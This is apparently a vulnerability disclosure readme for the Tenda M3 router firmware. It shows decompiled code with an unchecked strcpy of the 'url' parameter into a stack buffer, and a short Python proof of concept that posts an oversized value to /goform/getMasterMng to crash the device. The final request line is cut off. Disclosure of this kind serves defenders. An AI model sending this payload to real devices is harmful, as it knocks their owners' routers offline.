d1tto add Tenda M3 ... on May 27 History

..

img	6 months ago
readme.md	6 months ago

readme.md

Overview

- The device's official website: https://www.tenda.com.cn/product/M3.html
- Firmware download website: https://www.tenda.com.cn/download/detail-3133.html

Affected version

V1.0.0.12(4856)

Vulnerability details

httpd in directory `/bin` has a stack overflow vulnerability. The vulnerability occurrs in the `formMasterMng` function, which can be accessed via the URL `goform/getMasterMng`

```
int __fastcall formMasterMng(int a1)
{
  pthread_t newthread; // [sp+1Ch] [bp-140h] BYREF
  char s[256]; // [sp+20h] [bp-13Ch] BYREF
  int dest[8]; // [sp+120h] [bp-3Ch] BYREF
  int v6; // [sp+140h] [bp-1Ch]
  int v7; // [sp+144h] [bp-18h]
  char *nptr; // [sp+148h] [bp-14h]
  char *src; // [sp+14Ch] [bp-10h]

  dest[0] = 0;
  dest[1] = 0;
  dest[2] = 0;
  dest[3] = 0;
  dest[4] = 0;
  dest[5] = 0;
  dest[6] = 0;
  dest[7] = 0;
  memset(s, 0, sizeof(s));
  src = (char *)websGetVar(a1, "url", "192.168.10.1");
  nptr = (char *)websGetVar(a1, "port", "12345");
  sub_280C4(
    a1,
    "HTTP/1.1 200 OK\nContent-type: text/html; charset=utf-8\nPragma: no-cache\nCache-Control: no-cache\n\n");
  sub_280C4(a1, "ok");
  sub_28568(a1, 200);
  strcpy((char *)dest, src);
  v7 = sscanf((const char *)dest, "%u.%u.%u.%u", &g_remote_ip, &unk_BC159, &unk_BC15A, &unk_BC15B);
  g_remote_port = atoi(nptr);
  v6 = 0;
  v6 = pthread_create(&newthread, 0, (void *(*)(void *))obtain_auth_pic, 0);
```

`formMasterMng` function gets the POST parameter `url` and copies to stack buffer without checking its length, causing a stack overflow vulnerability.

PoC

Poc of Denial of Service(DoS)

```
import requests

data = {
    b"url": b'A'*0x400,
}
cookies = {
    b"user": "admin"
}
res = requests.post("http://127.0.0.1/goform/getMasterMng", data=data, cookies=cooki
print(res.content)
```